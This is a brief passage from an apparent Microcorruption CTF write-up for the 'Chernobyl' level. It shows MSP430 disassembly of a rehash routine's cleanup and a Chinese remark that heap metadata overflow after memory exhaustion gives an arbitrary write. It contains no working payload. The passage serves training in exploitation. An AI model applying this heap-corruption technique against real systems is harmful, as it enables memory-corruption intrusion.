4992:  023c           jmp	#0x4998 <rehash+0xc4>
4994:  0843           clr	r8
4996:  0648           mov	r8, r6
4998:  2699           cmp	@r9, r6
499a:  f13b           jl	#0x497e <rehash+0xaa>
499c:  2f4a           mov	@r10, r15
499e:  b012 1c47      call	#0x471c <free>
49a2:  1753           inc	r7
49a4:  2a53           incd	r10
49a6:  2953           incd	r9
49a8:  2791           cmp	@sp, r7
49aa:  f43b           jl	#0x4994 <rehash+0xc0>
49ac:  0f44           mov	r4, r15
49ae:  b012 1c47      call	#0x471c <free>
49b2:  0f45           mov	r5, r15
49b4:  b012 1c47      call	#0x471c <free>
49b8:  2153           incd	sp
49ba:  3441           pop	r4
49bc:  3541           pop	r5
49be:  3641           pop	r6
49c0:  3741           pop	r7
49c2:  3841           pop	r8
49c4:  3941           pop	r9
49c6:  3a41           pop	r10
49c8:  3b41           pop	r11
49ca:  3041           ret

这题问题在堆管理的问题,malloc把空间用完之后metadata会溢出造成任意地址写

还有两题,摸了

Microcorruption (Embedded Security CTF): Chernobyl (jaimelightfoot.com)